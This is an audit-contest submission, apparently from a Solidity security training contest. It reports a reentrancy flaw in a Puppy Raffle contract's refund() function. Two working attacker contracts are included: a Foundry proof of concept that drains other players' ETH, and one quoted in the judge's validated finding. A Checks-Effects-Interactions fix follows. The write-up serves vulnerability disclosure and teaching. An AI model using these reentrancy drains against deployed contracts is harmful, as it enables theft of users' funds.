Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in PuppyRaffle.refund() lets a player re-enter and drain the contract's entire ETH balance, stealing other players' entrance fees and accrued protocol fees

masudmmms

Root + Impact

Description:refund() sends ETH to the caller before clearing the caller's entry in players. Address.sendValue() forwards all remaining gas, so a contract can re-enter refund() from its receive() function. On re-entry both require statements still pass, because players[playerIndex] has not been zeroed yet. Each nested call pays out another entranceFee, so the attacker drains the ETH held by the contract — other players' entrance fees and any totalFees not yet withdrawn

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
// @> External call happens BEFORE the state update (violates Checks-Effects-Interactions).
// @> sendValue() forwards all available gas, so msg.sender can re-enter refund().
// @> On re-entry, players[playerIndex] is still msg.sender, so both requires pass again.
payable(msg.sender).sendValue(entranceFee);
​
// @> The slot is only cleared after the ETH has already been paid out.
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:Likelihood: High — any player can deploy a contract, enter once, and call refund(); no privileged role or special condition is required.

Impact:Impact: High — direct theft of all ETH held by the contract (honest players' tickets + unwithdrawn totalFees). The attack can be repeated with new entries/tickets until the balance is exhausted, limited only by gas.

Proof of Concept

Verified with forge test. The attacker buys one ticket, then refund() re-enters itself 5 times (a real attacker would go deeper with more gas / repeat transactions), extracting 6× the entrance fee. address(raffle).balance drops from 11 ETH to 5 ETH.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
import "forge-std/Test.sol";
import "../src/PuppyRaffle.sol";
​
contract RefundReentrant {
PuppyRaffle raffle;
uint256 index;
uint256 depth;
uint256 constant MAX_DEPTH = 5;
​
constructor(PuppyRaffle _raffle) { raffle = _raffle; }
​
function enter() external payable {
address[] memory p = new address[](1);
p[0] = address(this);
raffle.enterRaffle{value: msg.value}(p);
}
​
function attack(uint256 _index) external {
index = _index;
raffle.refund(_index);
}
​
receive() external payable {
if (depth < MAX_DEPTH) {
depth++;
raffle.refund(index); // re-enter while players[index] is still address(this)
}
}
}
​
contract RefundReentrancyTest is Test {
PuppyRaffle raffle;
uint256 constant FEE = 1 ether;
​
function setUp() public {
raffle = new PuppyRaffle(FEE, address(0xFEE), 1 days);
// 10 honest players = 10 ETH in the pool
for (uint256 i = 0; i < 10; i++) {
address p = address(uint160(0x1000 + i));
address[] memory one = new address[](1);
one[0] = p;
vm.deal(p, FEE);
vm.prank(p);
raffle.enterRaffle{value: FEE}(one);
}
}
​
function test_Drain() public {
RefundReentrant attacker = new RefundReentrant(raffle);
attacker.enter{value: FEE}(); // attacker buys 1 ticket
​
uint256 idx = raffle.getActivePlayerIndex(address(attacker)); // == 10
attacker.attack(idx); // refund -> receive -> refund -> receive -> ...
​
assertEq(address(attacker).balance, 6 ether); // 1 real + 5 re-entrant refunds
assertEq(address(raffle).balance, 5 ether); // honest players' ETH stolen
}
}

Recommended Mitigation

Apply Checks-Effects-Interactions: clear the slot before sending ETH, and add a reentrancy guard as defence in depth.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
- payable(msg.sender).sendValue(entranceFee);
-
- players[playerIndex] = address(0);
+ // Effects first: the player is no longer active before any ETH leaves the contract.
+ players[playerIndex] = address(0);
+
+ // Interaction last. Optionally also add a nonReentrant modifier.
+ payable(msg.sender).sendValue(entranceFee);
+
emit RaffleRefunded(playerAddress);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!